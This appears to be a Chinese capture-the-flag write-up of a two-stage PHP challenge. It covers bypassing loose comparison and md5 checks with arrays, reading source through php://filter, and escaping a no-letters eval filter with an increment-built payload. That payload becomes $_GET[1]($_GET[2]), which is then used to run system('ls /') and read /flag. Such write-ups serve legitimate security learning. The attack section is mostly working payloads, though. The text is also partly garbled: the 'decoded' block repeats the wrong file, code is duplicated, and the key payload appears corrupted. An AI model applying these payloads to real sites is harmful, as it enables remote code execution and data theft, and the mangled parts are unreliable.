

```

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['a']) && isset($_POST['b']) && isset($_GET['password'])) {
    $a = $_POST['a'];
    $b = $_POST['b'];
    $password = $_GET['password'];

    if (is_numeric($password)) {
        die("password can't be a number</br>");
    } elseif ($password != 123456) {
        die("Wrong password</br>");
    }

    if ($a != $b && md5($a) === md5($b)) {
        echo "wonderful</br>";
        include($_POST['file']);      # level2.php
    }
}
?>

```

先看代码呗

post传参 a b get传参 password

password不能是纯数字 又要等于123456

is_numeric检验password是不是数字 如果是数字就会执行第一个die

password!=123456 是非严格比较

PHP 进行 **非严格比较 (!=)** 时，会尝试将字符串转换成数字。如果字符串以数字开头，PHP 会尽可能解析成数字，"123456abc" 会被当作 123456 来比较

所以这里我们可以通过传password=123456abc进行绕过

```
if ($a != $b && md5($a) === md5($b))
```

a!=b a的md5还要等于b的md5

因为md5对数组加密结果为NULL 所以这里直接用数组绕过

post传参 a[]=1&b[]=2即可绕过

接下来就是文件包含include

直接利用php://filter文件读取流读取level2.php

file=php://filter/read/convert.base64-encode/resource=level2.php

```

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['a']) && isset($_POST['b']) && isset($_GET['password'])) {
    $a = $_POST['a'];
    $b = $_POST['b'];
    $password = $_GET['password'];

    if (is_numeric($password)) {
        die("password can't be a number</br>");
    } elseif ($password != 123456) {
        die("Wrong password</br>");
    }

    if ($a != $b && md5($a) === md5($b)) {
        echo "wonderful</br>";
        include($_POST['file']);    # level2.php
    }
}
?>

```

base64解码

```

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['a']) && isset($_POST['b']) && isset($_GET['password'])) {
    $a = $_POST['a'];
    $b = $_POST['b'];
    $password = $_GET['password'];

    if (is_numeric($password)) {
        die("password can't be a number</br>");
    } elseif ($password != 123456) {
        die("Wrong password</br>");
    }

    if ($a != $b && md5($a) === md5($b)) {
        echo "wonderful</br>";
        include($_POST['file']);    # level2.php
    }
}
?>

```

```

<?php
error_reporting(0);
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'<?>\"\\|`a-zA-Z~\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
}

```

```
}  
?>
```

然后要去访问/level2.php网页里传参 不要在原网页里直接传参 因为他没有对level2.php进行文件包含

这里就是无字母 无 [!@#%^&*;'<?>"\ 传参了 可以使用数字

也限制了长度<120

这里通过自增绕过

```
rce=$_=  
[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_  
(71).$_(69).$_(84);$$[1]($$_[2]);
```

相当于

```
$_GET[1]($_GET[2])
```

然后再get传参

```
1=system&2=ls /
```

列出根目录 再cat /flag

```
<?php  
error_reporting(0);  
highlight_file(__FILE__);  
if (isset($_POST['a']) && isset($_POST['b']) && isset($_GET['password'])) {  
    $a = $_POST['a'];  
    $b = $_POST['b'];  
    $password = $_GET['password'];  
  
    if (is_numeric($password)) {  
        die("password can't be a number</br>");  
    } elseif ($password != 123456) {  
        die("Wrong password</br>");  
    }  
  
    if ($a != $b && md5($a) == md5($b)) {  
        echo "wonderful</br>";  
        include($_POST['file']);    # level2.php  
    }  
}  
?>
```